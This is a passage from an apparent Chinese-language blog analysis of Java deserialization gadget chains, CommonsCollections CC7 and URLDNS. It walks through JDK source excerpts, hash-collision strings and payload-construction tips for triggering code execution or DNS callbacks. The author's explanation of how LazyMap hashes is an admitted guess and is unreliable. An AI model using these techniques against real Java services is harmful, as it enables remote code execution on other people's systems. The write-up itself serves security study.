直观来看: hashtable.put(lazyMap2, "test"); 会使得lazyMap2增加一个多余的 yy=>yy 键值对,需要删除掉。如果不删掉,待加入的Entry的size就和已有的Entry的size不同,从而使执行流程提前终止,无法触发恶意流程。下面我们来详细看一下怎么回事:

  1. 为什么会增加一个多余的 yy=>yy 键值对?

AbstractMap#equals() 中,会获取HashTable的key,并调用 m.get(key) ,即调用LazyMap装饰器的 get() 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public abstract class AbstractMap<K,V> implements Map<K,V> {
public boolean equals(Object o) {
...
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();//这里会获取HashTable的key,也就是yy
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}

而在我们构造的payload中,LazyMap的factory设置为了 ChainedTransformer ,此时 LazyMap#get 会调用factory的 transform() 方法,并在现在的map中加入这个元素(LazyMap的作用就是在被装饰者不包含某键名的Entry时调用工厂类去产生一个Entry),联系装饰器的作用可以很好地理解:

1
2
3
4
5
6
7
8
9
10
11
12
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {//如果没有包含这个key
Object value = factory.transform(key);//注意这里,尝试获取一个值
map.put(key, value);//注意这里,插入了获取的值
return value;
}
return map.get(key);
}

而这时, ChainedTransformer 正好返回了值 yy ,所以便对lazyMap2装饰的HashTable插入了一个 yy=>yy

  1. 为什么会提前终止流程?

同样是在 AbstractMap#equals() 中,会提前判断待定的两者的size,如果不同,就会终止流程:

1
2
3
4
5
6
7
8
9
public abstract class AbstractMap<K,V> implements Map<K,V> {
public boolean equals(Object o) {
...
Map<K,V> m = (Map<K,V>) o;
if (m.size() != size())
return false;
...
}

3. 该链中的hash碰撞是怎么回事?

  1. CC7为什么要构造hash碰撞?

还是来看关键触发点,注意到要执行 e.key.equals(key) ,必须确保if语句中的第一个条件 e.hash == hash 为true,也就是说,待新加入的Entry的hash必须要和前面已经加入的元素的hash一致,所以这里需要一个HashTable的hash碰撞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
...
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {//注意这里的条件
throw new java.io.StreamCorruptedException();
}
}
...
}
  1. 已知 yyzZ 是一对hash碰撞,那还有没有其他的碰撞呢?

在CC7中,获取的是LazyMap这个对象的hash,这个工作是由native代码( Object.hashCode() )实现的,

https://github.com/openjdk/jdk/blob/jdk7-b24/jdk/src/share/native/java/lang/Object.c

1
2
3
4
5
6
7
static JNINativeMethod methods[] = {
{"hashCode", "()I", (void *)&JVM_IHashCode},
{"wait", "(J)V", (void *)&JVM_MonitorWait},
{"notify", "()V", (void *)&JVM_MonitorNotify},
{"notifyAll", "()V", (void *)&JVM_MonitorNotifyAll},
{"clone", "()Ljava/lang/Object;", (void *)&JVM_Clone},
};

其具体实现需要跟踪 JVM_IHashCode() 方法,这里不再展开,我们选择猜测和模拟该native。

参考java中常常提起的hashCode到底是个啥?,我们可以参考String对象中的hashCode方法重写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public final class String
implements java.io.Serializable, Comparable<String>, CharSequence {
...
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
...

首先,调试结果得到 yyzZ 对应的LazyMap的hash都是3873。猜测对于LazyMap的hash,直接取了其中的字符串进行相同的操作,然后进行后续计算,我们将以上代码用python模拟一下,输出了3872,少了1:

1
2
3
4
5
6
7
8
9
10
def hashCode(string):
h = 0
for i in string:
h = 31 * h + ord(i)
return h
print(hashCode('yy')) # 3872
print(hashCode('zZ')) # 3872

但这足以说明String和LazyMap的hash是相关的。所以我们简单的减一下第一位的字母,选择为“yx”和“zY”:

1
2
3
4
5
6
7
8
9
10
def hashCode(string):
h = 0
for i in string:
h = 31 * h + ord(i)
return h
print(hashCode('yx')) # 3871
print(hashCode('zY')) # 3871

经验证,java中的输出为3870,这里又多了1,但这不影响该漏洞的触发,同样的,这对字符串能成功触发该链。类似的字符串对还有“AaAaAa”和“BBAaBB”等。

URLDNS

该链以HashMap的 reaObject() 作为入口,以 putForCreate -> hash -> k.hashCode() 的执行路径执行URL对象的 hashCode() 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class HashMap<K,V>
extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable
{
...
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
...
// Read the keys and values, and put the mappings in the HashMap
for (int i=0; i<mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value); //关键点
}
...
}
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key); // 关键点
...
}
final int hash(Object k) {
...
h ^= k.hashCode();//关键点,调用URL对象的hashCode()
...
}

进而触发URLStreamHandler的 hashCode 方法:

1
2
3
4
5
6
7
8
9
10
public final class URL implements java.io.Serializable {
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this); // 关键点
return hashCode;
}
}

URLStreamHandler的hashCode方法会访问相应的host:

1
2
3
4
5
6
7
8
9
10
11
12
13
public abstract class URLStreamHandler {
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u); // 关键点,此方法内部会以http协议访问相应的host地址
...
}

调用栈大致为:

1
2
3
4
5
6
->HashMap.readObject()
->HashMap.putForCreate()
->HashMap.hash()
->URL.hashCode()
->URLStreamHandler.hashCode()
->URLStreamHandler.getHostAddress()

总结

参考一张图(来源Theoyu-CommonsCollections,没找到原出处),可以清楚地看到各链之间的关系,有很多重合的链结:

  1. 为什么要使用反射:
    1. 在POP链的触发过程中,我们并不能像平时写代码一样直接执行任意的命令,只能通过POP链的一步一步执行来利用,而Transformer的一系列实现让我们能够在POP链执行中通过反射的形式达到执行恶意命令的目的(主要还是因为“链式转化器”只能执行函数,而反射过程只需要能执行函数即可)。
    2. 在构造payload时使用反射是因为很多情况下,我们需要用一个“空元素”去占位,否则就会在payload构造阶段就触发payload,导致反序列化利用失败。这一点在调试中经常发生,所以建议能占位就占位,最后再用反射去强行修改对象的成员变量。可以和调试结合来构造,因为过程中涉及很多繁琐的调用操作,静态地看很难找到原因。
  2. 恶意类的字节码加载中,一个类在运行时只会加载一次,如果要再次触发,需要换一个类名。
  3. 在理解链时,还要对各种类在实际开发时怎么使用,其设计思想是什么样的进行理解,这样才能理解链中的一些细节。
  4. 与POP链的对比:POP链的入口数更少,污点数更多;而Java的入口数更多,污点数反而更少。这是因为Java的语法繁琐性决定的:要找到一个可利用的污点对语法具有较高要求;而PHP往往仅需要一个函数即可触发。所以Java链一般从污点往回找,POP链一般从源往后找。
  5. 此外,由于Java的强类型性,与PHP相比,Java的链并没有那么灵活的链间跳转;如果PHP的成员对象也设置上类型限制(PHP新版本已支持类型限制),那么PHP的反序列化链数量将会大大减少。

参考资料